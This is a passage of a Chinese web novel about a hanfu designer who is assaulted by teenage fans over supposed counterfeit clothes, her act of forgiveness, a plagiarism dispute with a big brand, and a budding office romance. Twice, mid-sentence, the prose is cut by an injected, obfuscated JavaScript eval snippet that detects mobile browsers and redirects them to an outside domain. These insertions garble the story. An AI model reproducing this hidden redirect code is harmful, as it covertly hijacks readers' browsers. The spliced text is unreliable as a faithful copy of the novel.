那叫小婧的女孩怯生生地看了顾妙一眼,又看了看顾肖:“你们认识?” “废话,那是我姐!”顾肖冷冷地瞪了两个女孩一眼。最近他跟盛缘在一起,整天像个二皮脸,这冷若冰霜的一面对顾妙来说倒是久违了。 小玲姐见状,也使劲把手腕从魏如栩的手里抽出来,恶狠狠地瞪了他一眼:“欺负女孩子,不要脸!” 面对此等恶人先告状,魏如栩简直要被气得爆血管,谁欺负谁?谁不要脸?! 顾妙满腔怒火未熄,指了指身边这两个:“这俩什么情况?” “默默和小婧都是咱们小区的,是我和顾肖在家教班的学生。”盛缘赶紧解释道,并把两个女孩拉到身边,轻声细语,“怎么回事?为什么要打人?” “何止打人,还扒人衣服,不知道从哪学来的下作手段!”顾妙扔下这句话,赶紧到墙角把那两个小学生拨拉开,扶着戚滢滢站起来。 那小玲姐看到现在局面变成了五对五,且五个成年人对五个未成年,虽然说仍旧可以诬赖他们欺负小孩,但在“主持公道”的人到来之前,她们免不了受皮肉之苦——小玲姐不想受皮肉之苦,机智地选择了闭嘴,只是满脸义愤填膺地随机瞪着他们每一个人。 默默和小婧在两个老师面前收敛起刚刚张牙舞爪的样子,简直就是一秒钟从猴子精变成小白兔,眼珠红红地说:“那个女的穿山,我们只不过是教训教训她……” 顾肖绷着脸,狭长的眼睛扫视全场,最后落在默默和小婧身上:“行啊,上初一才一个月就敢当街打人,升初二你们是不是就敢打家劫舍了?初三你们不得上天?!还穿山?你们几个小屁孩懂什么叫穿山吗?” 魏如栩闻言诧异地看了他一眼:“莫非你懂?” “……”顾肖觉得自己还要给这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15459463|169685||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 帮人普及常识,有点心累,“就是穿山寨、抄袭的假货衣服。” 戚滢滢见自己的人都在了,胆子也就大了一些,含着眼泪喊道:“我没穿山!这些衣服真的都是我自己设计的……” “胡说八道!这明明是别人的设计,是你抄的!”小玲姐说了一个品牌的名字,然后拿出手机翻出网店给大家看,“你们看看,在人家店里挂着呢!” 戚滢滢愣愣地盯着那手机上的图片,甚至伸手去滑动屏幕,整个人都呆掉了。 刚刚在展会会场里,小玲姐看着戚滢滢这套衣服眼熟,又跟她喜欢的牌子所推出的设计在细节上不太一样,假装热情过去问了一下,听到戚滢滢说这是她设计的,顿时就翻了脸,当场就想把她衣服扒下来。 幸好戚滢滢反应及时,掉头就跑,也幸好被顾肖盛缘看见了,否则她单独一个被人堵在这消防通道里,结果可想而知。 小玲姐趾高气扬举着手机,任她看,嘲讽着:“你还挺鸡贼,专捡销量不算特别火爆的抄,以为人家发现不了?!我是他们家的忠实粉丝,一眼就看出你这是山寨的假货!装什么装,哭就证明你无辜吗?抄袭狗,寄生虫,吸血鬼!” 这小玲姐越说越气愤,甚至不管几个大人还站在旁边,伸手就想去抓戚滢滢的脸,魏如栩一把拦住她,同时顾妙反应也很快,迅速把戚滢滢一把拉到一边。 “怎么说话呢?嘴巴放干净点!”魏如栩皱起眉,回头看了看戚滢滢,“小戚,你怎么说?” 戚滢滢自从刚刚看了那小玲姐手机里的图片之后,一脸的难以置信,张着嘴一直在发呆,听到魏如栩问她,才僵硬地扭过头,看了看魏如栩又看了看顾妙,声音颤抖地说:“不是我……真的不是我……是她们抄我的……” 此言一出,顾妙、魏如栩、顾肖和盛缘都若有所思,默默和小婧则复制粘贴了戚滢滢的表情,如出一辙的诧异。 “不可能!人家大品牌,好多个设计师,怎么可能抄你的设计!”小玲姐并不是信仰破裂的崩溃,她满脸都是嘲讽,,表情生动得简直可以去混演艺圈,“你算什么东西?给他们提鞋都不配!” 戚滢滢像被人重重地打了一巴掌,脸涨得通红,绝望地看着顾妙,拉着她的袖子:“妙妙姐,你……你信我,不是我抄她们……这件衣服是我去年设计的款式,图纸都在家里,电脑里也有,去年我还卖过两套,还有销售记录。可是这套我刚刚看是她们家新款……” “图纸是你抄的!销售记录也可以作假!”小玲姐尖叫道,“就是你抄她们,别血口喷人!” 顾肖用眼角瞥了她一眼,冷笑道:“哟,自家房子塌了!屎盆子扣你爱豆头上,你也知道臭?” 盛缘轻轻拉了拉顾肖的衣角,对他摇摇头,建议他别跟这样不懂事的小女孩计较。 顾肖也知道犯不上跟这脑壳坏掉的小丫头片子打嘴仗,收起一脸嘲讽,弯起嘴角对盛缘点了点头。 魏如栩面色冷静地看了看在一边瑟瑟发抖的两个小学生,又看向站在盛缘身后的默默和小婧,最后看向小玲姐:“被人污蔑的滋味不好受,就别去信口指责别人。凡事都要讲证据,即便没证据,真相不明,也不能动手!大庭广众之下打人、撕人衣服,你们脑子里有一点基本的法律常识吗?!” 其中一个小学生不甘心,顶嘴道:“难道看到穿山的不去管吗?” 顾妙:“你们是没嘴还是怎么的?君子动口不动手没听说过吗?不能好好讲道理?” “凭什么要跟抄袭狗讲道理?她不配!”小玲姐嗓门高得简直冲破屋顶,被消防通道放大几倍,听起来特别像尖叫鸡。 魏如栩拍拍顾妙的肩膀:“算了,就算动口,她嘴里也吐不出象牙来。” 小玲姐横眉冷对魏如栩:“你骂我是狗?” 顾肖冷笑一声:“哟,我还真是小看你了,你还能听出来别人在骂你。” 打也打不过,骂也骂不过这个新来的,小玲姐权衡利弊,决定不再做无谓的挣扎,然而这个时候消防通道门再次被打开,两个保安进来,一高一矮,姗姗来迟。 个子高一点的像是个头头,严厉地看着在场所有人:“干什么呢?” 小玲姐当场变脸,冲到高个子保安面前做委屈状:“保安叔叔,他们欺负我们!尤其这个穿飞鱼服的大叔,对我们又打又骂,还不让我们走!” 魏如栩:“……” 叫谁大叔?!再叫一声我听听?! 顾妙当时就有点绷不住,侧过脸去撇了撇嘴角,使劲压住笑。 “不是的,是她们先要撕我衣服!”戚滢滢见连累了老板,有点着急,赶紧解释,“我朋友只是来帮我的,真没对她们动手……” “你,被她们几个小孩,撕衣服?”高个子保安冷冷地看了看戚滢滢,眼里全是怀疑。 小玲姐阴森地回头冲戚滢滢一笑,扭头又对两个保安做泫然欲泣状。 “孩子,这么恶毒演技还这么好,我建议你将来往演艺圈发展。”顾肖对那小玲姐嗤笑一声,冲高个子保安说道,“保安大哥,刚刚我们在A区看到她们几个小孩欺负我朋友,一路追过来的。不信的话可以调出展区里的监控,一看就知道了。” 一提监控,小玲姐显然迅速意识到了自己的失误,肉眼可见地颓丧下来。 两个小学生躲在她背后,也开始害怕,其中一个揪着她的袖子,怯生生地问:“小玲姐,怎么办?我们会被抓起来吗?” “早知今日何必当初呢?”顾肖冷笑道。 高个子保安估计也见过不少这种扯皮的事儿,懒得当判官听他们一人一句解释,既然有监控,就好办了,于是冷冷道:“你们都跟我走吧,回去查完监控,按规定处理!” 小玲姐一听这话,脸“唰”地就白了。 87. 第八十七章 善意 魏如栩一帮人,身穿着各种各样的汉服,跟着保安,浩浩荡荡地穿越展区,吸引了一大波目光之后,往保安室走去。 顾妙拉过魏如栩的手,他白皙的手背上三条已经结了暗色血痂的抓痕,现在看来尤其触目惊心,担心地问:“还疼吗?” “这点小伤,没事儿。”魏如栩笑笑,“打篮球的时候不知道被人挠过多少次了。” 顾肖听他们说话,回头插了句嘴:“老魏,我觉着你回去得打狂犬疫苗。” 走在前边的元凶、那个抓人的小姑娘听了,回头看了他们一眼,再没有刚刚打人的气势,瘪着嘴快要哭了。 顾妙看了她的眼神,推了顾肖一把:“积点口德吧,就是些熊孩子,别真吓着她们。” “知道害怕就对了,一群不知道天高地厚的小家伙。”顾肖表情虽然漫不经心,眼神却是冷冰冰的,“不让她们长长记性,将来还不知道会做出什么事来。” 默默和小婧听了,瑟瑟发抖地往盛缘身边靠了靠。默默拉着盛缘的肩膀,小声说:“盛老师……我知道错了……” “我也知道错了……”小婧也着急地说,“一会儿你能不能帮我们跟保安大叔解释?是我们不懂事,以后再也不敢了。” 盛缘温柔地摸了摸她俩的脑袋:“别担心,哥哥姐姐都会帮你们。” “顾老师是不是很生气,刚刚我们那么对他姐姐……”默默心虚地说。 “他生气,不是因为你们欺负的人是他姐姐,是因为你们做了不对的事情。只要你们知道自己做错了,他也不会再生气的。”盛缘回头看了眼顾肖,笑眼弯弯地问,“是不是啊顾老师?” 顾肖冲她一乐:“那是当然。” 顾妙目睹全过程:“啧,你们家教班这俩小姑娘确实不错,还能担心你们俩生气,我还以为现在的小孩都天上地下唯我独尊呢。” “不能以偏概全,她们俩本质是好的,先前不这样,在家教班一直很乖。可能被人误导了吧,回头多沟通两句就好了。”顾肖冲前边孤独地走在保安身后的小玲姐努了努嘴,“那丫头才是最让人担心的。” 魏如栩看看顾妙:“一会儿打算怎么办?” “都是未成年人,估计最后就是联系家长来领人,反正总不能真扭送公安机关吧。”顾妙琢磨着,“默默和小婧都是知根知底的,看看能不能直接带回去,让顾肖和盛缘教育一下,就别跟她们父母说了,免得父母不了解情况,脑补夸大事实,回去好一顿揍,再给她们留下心理阴影。” “嗯,我也这么想的。”魏如栩点点头。 “剩下三个咋办呢?尤其那个小玲姐,确实得好好教育教育。”顾妙叹了口气,“古早味的校园霸凌我也见过一些,但真没见过这么恶毒的小姑娘。” “不过我觉得咱们也别把事情描述得太详细,就说是个误会,不小心起了冲突。”顾肖突然回头道,“她们现在应该很害怕了,就别雪上加霜了。” 顾妙笑道:“哟,顾老师,严厉是你,温柔也是你,慈父吗?” “就教育手法而言,让孩子感觉安全,比让他们感到害怕更有效果。”当了几天家庭教师的顾肖大言不惭道,“没有安全感的孩子相对会有更强的攻击性,咱们不能加剧这种情况。” 魏如栩也很赞同:“顾肖说得对。一会儿见机行事吧,要是保安大哥坚持叫家长,那咱们就跟她们家长解释清楚再走。” 那小玲姐表面看起来倔强,抿着嘴一言不发,但实际心里已经怕得不行,进了保安监控室,还没等调出先前的监控视频,她就绷不住,主动承认了错误。 “是我们先动的手,我向他们道歉行吗?”小玲姐面色苍白,嘴唇颤抖,“能不能不叫家长?” 高个子保安摇摇头,十分不近人情:“毕竟是打架,你们这几个孩子又是未成年,必须得通知家长来领人。” 小玲姐眼圈红了:“求求你们别告诉我爸,回去他会打死我的!” “要不就叫你班主任。” “班主任一定会告诉我爸……”小玲姐眼泪在眼眶中打转,她眼睛瞪得很大,似乎不想让眼泪流下来。 顾妙看着她的样子,知道她是真害怕,于是主动跟高个子保安说:“其实也没有打架那么严重,就是发生了一点冲突,吵了几句。” “吵几句能把她衣服撕破了?”高个子保安冲戚滢滢扬扬下巴,“看那脸给挠的。” 戚滢滢一直默默跟在大家身后,一路上一言不发,此刻又成了众人的焦点,她脑袋耷拉得更低了。 顾妙也意识到,这事儿最大的受害人是戚滢滢,该怎么对待这几个孩子,实在不由他们说了算,而且他们并没有立场劝戚滢滢去原谅谁,否则也太圣母了。 于是大家也都不再吭声,高个子保安坐在办公桌前,掏出一个本子,拿着笔开始做记录,从小玲姐问起:“叫什么名字?” “崔晓玲……”小玲姐这会儿声音低得像耳语,垂头丧气地说。 “家长电话。” “153……”崔晓玲这会儿终于忍不住,大颗的眼泪从眼睛里珠子一般地掉下来。 见她一哭,两个小学生也开始哭,保安监控室里一片哀嚎声。 顾妙、魏如栩、顾肖和盛缘面面相觑,不知道该怎么办好。 “哭什么哭?!”高个子保安显然没有慈父心肠,把手里的笔“啪”地拍在桌上,训斥道,“现在知道害怕了?刚刚欺负人还倒打一耙的时候干什么去了?” 崔晓玲低着头只顾着哭,她倒也倔,道歉既然没用,她也并没有央求戚滢滢的原谅,希望人家高抬贵手,主动息事宁人。 “1536600……”崔晓玲似乎横下一颗心,用手背狠狠擦了擦眼泪,吸了吸鼻涕继续说,只不过话还没说完,就被人打断。 “算了。” 大家集体向后转,望向突然说话的戚滢滢。 她迎着所有人的目光,看向高个子保安,小小声说:“其实就是个误会,没有打架那么严重。” 高个子保安狐疑地看着她:“你可想好了。” 戚滢滢挤出一丝笑容:“这还有什么想不想好的,本来也是事实。衣服是不小心扯破的,可能本来我缝得就不牢。脸上这抓痕也是意外,刚刚我们就是吵了几句,大家都有点激动。” 崔晓玲诧异地望着戚滢滢,那模样就好像……从来没见过有人对她有过这样的善意似的。 “保安大哥,我们比她们几个人都大,要是真打架,还能打不过她们吗?”戚滢滢的笑容越发自然了起来,“真的就是一点小事,用不着叫家长,如果你不放心,我把电话留在这,然后挨个送她们回去,要是有什么事,您直接找我就行。” “那不成,我不知道你怎么想的,你们是冲突方,要让你送她们回去,不等于黄鼠狼送鸡回家吗?”高个子保安摇摇头,“万一半路你套她们黑麻袋打一顿怎么办?” 顾妙、魏如栩、顾肖、盛缘、戚滢滢:“……” 保安大哥你脑子里长的什么样的黑洞啊! 被小姑娘按在地上打、还被成年人怀疑是黄鼠狼的戚滢滢内心有点崩溃。 顾肖:“那要不这样,让她们给自己的老师或者其他亲近的人打电话来接走行吗?尤其是这俩年纪小的,刚刚受了惊吓,确实需要照顾。不过我看崔晓玲也不是小孩了……” “我十六了,上初三!我不小了!”崔晓玲赶紧解释道,“不用别人来接!” 见保安还在犹豫,顾妙也跟着说:“不然我们几个把身份证号和电话都留下,真有什么事就来找我们。” 魏如栩点头:“对,这事儿我们来负责。” 崔晓玲没有想到,刚刚还被她气得跳脚的几个哥哥姐姐,此刻竟然争先恐后为她擦屁股,一时间茫然地看着他们。 最后,高个子保安犹豫了一会儿,同意让崔晓玲自行离开,他也没要五个人的身份证和电话,留一个就可以,于是魏如栩自告奋勇留了他的。 两个小学生是好朋友,她们叫了其中一个女孩子的姐姐来接。等那姐姐赶到,魏如栩出面,将情况解释清楚,消除了误会之后,两个小女孩被姐姐领走。 默默和小婧证明自己跟顾肖盛缘认识,主动要求跟他们一起走。高个子保安有些犹豫,顾肖就亮出暑期班结束的时候大家一起拍的合影,证明他们没有骗人,保安这才作罢。 大家在保安室里光等人就耽误了很久,戚滢滢一出来,就着急忙慌往她的摊位赶去,顾妙等人也加快脚步跟上她,也便没人去搭理落在最后的崔晓玲。 “哎……”崔晓玲突然喊道,“那个姐姐,能不能等一下?” 顾妙回头,见崔晓玲直勾勾地看着戚滢滢,便伸手拉了她一把:“叫你呢。” 戚滢滢停住脚步,转身意外地看着崔晓玲,似乎有点害怕:“你还想怎么样?” “我……你误会了……我、我就是想跟你道个歉。”崔晓玲追上来,结结巴巴地说。 “哦,道歉已经收到,没事了。”戚滢滢简单冲她一点头,扭头便走,不料又被她拉住。 崔晓玲看到戚滢滢提防的眼神,讪讪地收回手:“姐姐,我们能留个联系方式吗?” 戚滢滢狐疑地看着她,又看看顾妙和魏如栩,似乎在征求他们的建议。 顾妙一脸空白,如果照她的性格,她是不太情愿跟这样对待过自己的人交朋友的。 魏如栩似乎明白崔晓玲的意思,只是这事儿终究还得戚滢滢自己决定,所以他什么也没说,只是淡淡地笑着。 “我没别的意思,就觉得……大家都喜欢汉服,想……想跟你交个朋友。”崔晓玲咬了咬嘴唇,脸上挤出一丝豪爽的笑意,“要是太麻烦就算了,没关系。” 戚滢滢迟疑了一下,掏出手机:“不麻烦,来吧,我扫你。” 互加好友之后两方便匆匆告别,毕竟也没什么交情,没必要尬聊,何况戚滢滢还记挂着她的摊位。 所幸摊位没受什么影响,旁边的小姐姐很是热心,有来咨询的人,她都推荐人家扫了戚滢滢贴在桌上的二维码。 戚滢滢这才知道为什么微信里多了不少好友请求。她感谢了隔壁摊位的小姐姐,把另一个汉服小狼玩偶送给人家,然后就坐在一边开始挨个儿通过请求,跟潜在客户交流。 默默和小婧看到这个摊位,就像是耗子掉进了米缸,两双眼睛直冒精光,两双小手恨不能把人台和衣架上的衣服摸一个遍。 “全都是这个姐姐设计的吗?”默默感叹道,“她真厉害!” “我们刚才真的错怪她了……”小婧看了默默一眼,满脸内疚,然后仰头看旁边的盛缘,“她叫什么名字呀?” “你们叫她滢滢姐姐就好。”盛缘温柔地说,“前几天我们还去过她的工作室呢,她还有个网店,从设计到制作再到拍照、销售,都是她一个人在忙,她确实很厉害。” 小婧和默默两人面面相觑,一起转过身走到戚滢滢身边,齐声说:“滢滢姐姐,刚才真的对不起。” 戚滢滢艰难地把眼睛从手机屏幕上移开,冲两个小姑娘笑笑:“没事,不知者无罪。” “哎,你们俩,过来过来。”顾肖大爷似地坐在一旁,一条腿架在另一条腿上,冲小婧和默默招手。 顾妙和魏如栩坐在他对面,见这情景,她捂着嘴对魏如栩耳语:“他要开始表演了。” 魏如栩忍俊不禁,翘起嘴角,抱着胳膊,准备看戏。 顾肖严肃地看着两个小女孩:“说说吧,怎么回事?一个月没见,你俩是入了什么帮会了吗?” “没有没有!”默默连连摆手,“就是学校里有一群小姐姐们喜欢汉服,我和小婧刚进校,想和她们玩,就加入了。” “现在初中部都有社团了?”顾肖疑惑地望向盛缘,盛缘挨着他坐,耸耸肩,表示不知道。 “不是社团……只是一起玩。”小婧解释道,“老师不让办社团。” 经过一番询问,大家才明白,就是开学迎新联欢会上崔晓玲穿着汉服表演了个节目,吸引到了这些新入学的小妹妹,于是默默小婧就在崔晓玲的帮助下打开了汉服世界的大门。 崔晓玲对汉服如数家珍,说起来头头是道,这些小女生都很崇拜她,视她为带头大姐。 课余时间崔晓玲带她们认识别的学校里喜欢汉服的小朋友,比如先前被姐姐领走的那两个小学生,默默和小婧觉得跟着小玲 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15459464|169685||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 姐不仅能学到东西,还能交到以往固定社交圈以外的新朋友,于是对她说的话更加奉为圭臬。 小玲姐平时气场很强大,颇有点说一不二的架势,她对汉服有自己的衡量标准,别说穿山了,就看着有人胡乱搭配,或者穿了形制不对的汉服,她都会上去把人教训一顿。 顾妙听了就来气:“这什么啊?动不动就动手,没长嘴吗?” “不符合她标准的,就得挨打挨骂?她不喜欢的,就没资格存在?这人真是活在自己人生的头版头条里啊!连这点包容心都没有,好意思说自己喜欢汉服?”魏如栩冷冷道,“那她知不知道,汉服经过各个朝代的发展,吸纳了多少外族服饰的特色?” 默默和小婧明显有点害怕魏如栩,两个人鹌鹑似地瑟瑟发抖。 “叔叔,我们没想这么多……”默默怯生生地说。 “!”魏如栩有点抓狂:“别再喊我叔叔,一岁以上的人都不许喊我叔叔!” 顾肖在一旁笑出猪叫,盛缘则偷偷抿着嘴笑。顾妙看似安慰地拍了拍魏如栩的肩膀:“没事,现在不是流行大叔吗?老板你这么稳重沉着,少年老成,挺有叔感的。” “我谢你啊,你还有姨感呢。”魏如栩抽了抽嘴角,回敬一句。 默默和小婧似乎也明白了魏如栩为什么突然暴走,俩人交头接耳,随即捂着嘴看着他窃笑。 “笑,还笑!”魏如栩板着脸,“小声说什么呢?说出来我听听!” 经过刚刚那一幕,魏如栩已经威严扫地,两个小丫头也不怕他了,小婧笑嘻嘻地说:“我们俩在说,你是我们见过最帅的哥哥!” 顾妙:“啧,小丫头们太会了。” 魏如栩从小到大听人夸自己帅,耳根都起茧子了,基本已经对这个词全盘免疫,怎么夸都不会再脸红。但是小姑娘的声音糯糯的,又软又甜地来了这么一句,简直是灵魂的痒痒挠,挠得他既受用又不好意思。 “等下!什么意思?”顾肖不乐意了,放下腿,正襟危坐地看着默默和小婧,“你们顾老师,我,已经过气了吗?!你们是蜘蛛侠吗?换墙头换得也太快了吧?!” 默默和小婧知道顾肖爱假装生气逗她们玩,也没把这当事儿,咯咯地笑得前仰后合。 趁气氛正好,盛缘恰到好处地说:“崔晓玲这么做不对,你们俩听她的话打人也不对,以后不能再这样了。” “嗯,我们知道了。”小婧连连点头,“其实我们也不想的,之前有次她让我们撕别人的衣服我们就没敢,她回去把我俩训了一顿,还说如果以后再不听话,就不带我们玩了,所以这次我们就……” 默默也说:“我们知道打人不对,但是如果她不带我们玩的话,可能跟她玩的那些人会反过来针对我们。她们都比我们凶,刚刚那两个小孩,才上五年级,打人特别厉害,又抓又挠的,小玲姐就特别喜欢她俩。” 魏如栩问道:“崔晓玲的情况你们了解吗?” “不太清楚,就知道她没有妈妈,跟着爸爸生活。”小婧说,“她爸爸好像很忙,平时顾不上管她,会给她很多零用钱,她就用来买汉服。但是她爸脾气很不好,总打她,我们有几次见过她带伤来学校。” 顾妙几个人面面相觑,对崔晓玲的生活日常有了个大致的推断。 她父亲是她生活的主宰者,而他的一言一行都在告诉她,暴力是解决问题、获得主动权的最佳手段,也可以换来对方的臣服和畏惧。难怪她不讲道理,看不顺眼就打人,这也是她获得自信的唯一渠道。 经过这一番折腾,已经到了下午三点半,大家商量了一下,让顾肖和盛缘换了衣服,先打车送默默和小婧回家,魏如栩和顾妙留下来帮戚滢滢待到最后,负责帮她收摊。 等把所有东西打包好,回到戚滢滢家之后,看看几个人体力还撑得住,魏如栩便又带着顾妙和戚滢滢出来,跟顾肖和盛缘去烧烤店会合。 虽然今天因为出了意外事件而让人有点沮丧,但总体来说,戚滢滢收获了一些客户,也不算白来,于是庆功宴还是必须要搞起来的。 在事情发生之后,戚滢滢一直状态不太好,但碍于那些孩子都在跟前,她不好表露太多。顾妙尽管注意到了,也不便多说什么。于是这会儿魏如栩开车,她就跑到后座上跟戚滢滢坐在一起,想办法安慰她。 “妙妙姐,我没事的,就是心情确实不太好,我自己消化一下就行了。”戚滢滢看得出顾妙的意思,强打笑容道,“就是我之前有点怂,给你们丢脸了。” “说什么呢?!我那也是气话,先跟你道个歉。”顾妙回忆起之前的事儿,有点懊恼,“都是未成年人,还能让你真的跟她们动手?再说了,你性子是软了一点,但这不是你的错,也根本不是什么错。你就是你,没必要成为别人。” 魏如栩听到这话,微微勾了勾嘴角。 他家顾助理最会哄人了。 “今天这点事儿别放在心上——咳,看我说什么呢,你没追究崔晓玲的责任,我就知道你不会跟她一般见识。” 戚滢滢吸了吸鼻子:“我没那么大方,其实心里挺生气的。不过在去保安室的路上听到你跟顾肖还有小魏总说的话,想明白了一些事情。一是不太想跟熊孩子计较,二是我觉得这么嚣张跋扈的人,表面越强硬,内心越脆弱,都是吃软不吃硬的主,硬刚的话,她找不到我的麻烦,回头可能会欺负你们认识的那两个小妹妹。” “看你不吭气,原来想这么多呢?”顾妙有点意外。 “而且我总觉得,这样的人,不怕别人跟她硬刚,就怕别人对她好。这一点点善意对我来说微不足道,但或许能化解她的戾气,毕竟她才十六岁,我并不希望她以后也这个样子。”戚滢滢垂着头说,“不过我也是胡思乱想,毕竟不知道她是什么样的人,或许这么做是对她的纵容……就当是我心软了吧。” 顾妙握了握她的手:“心软没什么不好,愿意原谅别人,也等于不拿这些事情来为难自己。不过这件事可以放过,另一件事可不行。” 戚滢滢茫然地看着她:“什么事?” “你傻了?这事儿因什么而起?那个大品牌抄袭你的设计啊!”顾妙义愤填膺,“难道你不打算追究他们的责任?” 88. 第八十八章 有古怪 听了这话,戚滢滢迟疑了一下,车里没开灯,光线很暗,顾妙看到她眼睛亮亮的,像是有水光。 “追究……怎么追究?”戚滢滢轻轻地说,“他们那么大的品牌,我能告得赢吗?要搭钱、搭精力,还会被他们粉丝说是碰瓷。有能力谁不想维权呢,可是这么一算下来,我根本负担不起这样的成本。” 魏如栩从后视镜里看了她一眼,说道:“如你所言,这样的维权可能是个持久战,结果如何大家谁都不清楚,从时间、精力和金钱成本上来衡量,可能是个非常不划算的事情。但仗不好打,并不代表我们就要后退,否则这样下去,只会助长那些人的嚣张气焰。” 同是从创意行业出来的,魏如栩对知识版权这块相当敏感。虽然他没遇到过这种事情,但有同学曾经被人侵权,打官司拖了好几年,最后尽管胜诉了,可这对人的精神和体力都消耗得很严重。 面对这种情况,谁也不愿虚耗青春就为了争一口气。 “对方的设计跟你的一模一样吗?”顾妙先前没有看到崔晓玲手机里的图片,但想来也是因为很像才会被她认出来。 戚滢滢摇摇头:“细节上有调整,确实调整过后比我的设计更好。但那是因为我自己实现不了那种设计的制作方法,只能退而求其次。” 想到这,顾妙也有点替她为难:“我记得如果要起诉的话,是谁主张、谁举证,我们是不是能找到足够的证据也不太好说……” “嗯,难度肯定很大。”魏如栩温和地说,“你也别把这事儿当包袱,看你自己的意愿,不想折腾咱就不告,反正自己有的是创作能力,会设计出更好的东西来,以后加强版权意识就行。但如果你想告,我们都会帮你,律师我来帮你找。” 戚滢滢沉默了片刻,小声说:“我考虑一下吧。” 上班的时候度日如年,放假的时候就感觉时钟转得像电风扇,还是最大档的那种。 短短假期眨眼就过,顾妙和魏如栩要上班,顾肖和盛缘要返校了。 这一次顾妙没有上一次的依依不舍,早上起来她赶着跟魏如栩一起出发,提着包,叼着一片吐司,经过顾肖门口的时候,含混不清地说:“走的时候把你屋收拾一下啊。” “姐!”顾肖正在整理背包,听见这话有点委屈,跟着她到了门口,“这么快就习惯我不在家的日子了么?这么快就对我的离去毫不在意了么?这么快我们的姐弟情就变得稀薄了么?” “行了吧大少爷,别一大早的给我诗朗诵,这排比句都快把我脑子突突晕了。”顾妙努力咽着嘴里的吐司,“你还不懂吗?有种对于感情的处理方式叫举重若轻。什么都不说,并不代表我不想你。” 她一手拉开大门,一手夹着剩下的吐司,指着自己的眼睛:“看见没,虽然我表面云淡风轻,但我的眼里全是不舍的泪水。” “……”顾肖嘴角抽了抽,“姐你这么快就学坏了?是不是跟老魏学的?” 刚从家里出来的魏·背锅侠·如栩一脸茫然:“……我干什么了?” 顾妙一看见他的脸,顿时想起来一件事:“坏了!工作电脑没带!” 说着她把包往魏如栩怀里一塞,急匆匆地返回卧室。 顾肖看看她的背影,又无奈地看了眼魏如栩:“老魏,有这么个没头魂的助理,心疼你一秒钟。” 魏如栩抱着顾妙的背包,温和地笑了笑:“那倒不必,她做事很仔细,是个好助理。” 顾肖立刻拿手挡住眼,怪叫道:“我的天,这是什么宠溺的眼神,快收了你的神通吧,我的眼都要瞎了!” 顾妙本来打算拎了电脑就走,但是一抬头在梳妆镜里看了眼自己的脸,莫名就觉得自己面色苍白、气色不佳,这么去上班会给老板丢脸,于是把装口红的盒子找了出来,扒拉着寻找合适的色号。 涂上一个,太艳,不像是去上班像是去坐台,擦掉再换一个,好嘛,妥妥吃土少女。又换一支,唔,嘴太干涂了这个结块了…… 见顾妙总不回来,顾肖靠着门框,脸上挂着姨母笑,伸脚踢了踢魏如栩的小腿:“哎,没顾上问你,你俩……怎么样了?我可不是八卦,是关心我姐,和你。” “解释就是掩饰。”魏如栩越过顾肖的肩膀,望向顾妙的方向,“什么情况你现在看不出来吗?” 顾肖抱着胳膊:“别的先不说,就问你表白了吗?” “没有。”魏如栩垂下眼皮,“暂时没这个打算。” “……”顾肖有些迷惑,“我觉着这不是追女孩的正常途径吧?” “你不也没跟盛缘表白呢么?” “我们情况不一样,你别岔开话题。”顾肖说,“为什么不跟我姐说?她虽然顾虑多了点,但你不说,她连个回应的机会都没有啊,你总不会指望她先开口吧?那你还不如去姑苏城外寒山寺先排个号。” 魏如栩摇了摇头:“不是这个原因。我现在是她上级,不能这么做。” 顾肖怔了怔,明白了他的意思,挠了挠头:“啧,没这么大影响吧?她不会在意这个。” “我在意。”魏如栩:“这事儿不能细想,细想全是问题。我还是希望我俩之间没有任何权力不对等的关系之后再说。况且,就算她不在意这个,也在意别的,总之现在也不能着急。” “你知道她在意什么?”顾肖研究着魏如栩的表情,探究地问,“你试探过?” 魏如栩看了他一眼:“什么试探不试探的,怎么说得这么猥琐?还用我试探吗,我表现得这么明显,她又不傻。” 顾肖:“所以她主动出击,把你还没张开的嘴给堵上了?” 魏如栩:“……” 这话怎么听着这么让人一言难尽! “你俩嘀咕什么呢?”顾妙拎着电脑走过来,扫了他俩一眼,“两个心眼成的精,没安好心吧?” 顾肖抗议:“又戴有色眼镜看人!赖我是吧,谁让你这么磨蹭,你是取电脑还是造电脑啊?!” 顾妙按了按被纸巾擦得微微红肿、最终什么都没涂的嘴唇:“关你屁事,老板,走了。” “诶!”魏如栩冲顾肖摆摆手,忠犬一样地跟在顾妙身后下了楼。 顾肖撇了撇嘴,嘀咕一声:“事实婚姻也是婚姻,事实恋爱也是恋爱,你俩就自欺欺人吧。” 魏如栩刚发动汽车,放在支架上的手机就收到了顾肖的一条微信。 顾妙瞥了一眼:“啧,这么你侬我侬,面基已经不能满足你们了是吗?” “顾助理,你清醒一下,要上班了,麻烦进入工作模式。”魏如栩拿过手机来看,顺便弹了顾妙一个脑瓜崩,换来她一个恼火的眼神。 顾肖在微信里写道:【老魏,我就友情提示一句:你要敢对我姐不好,我可让你吃不了兜着走。(拳头*3)】 魏如栩忍不住笑了起来,这家伙刚才没说,恐怕是因为这话太羞耻了吧。 顾妙好奇:“说什么呢?这么好笑?” “没说什么。”魏如栩把手机放回支架上,带着笑意道:“收到了资格认证而已。” 顾妙茫然:“什么资格认证?你俩考什么证了?” “没顾肖的事儿,是我自己,具体什么证不能跟你说。”魏如栩缓缓转动着方向盘,心里想,“应该是顾家姻亲资格认证。” 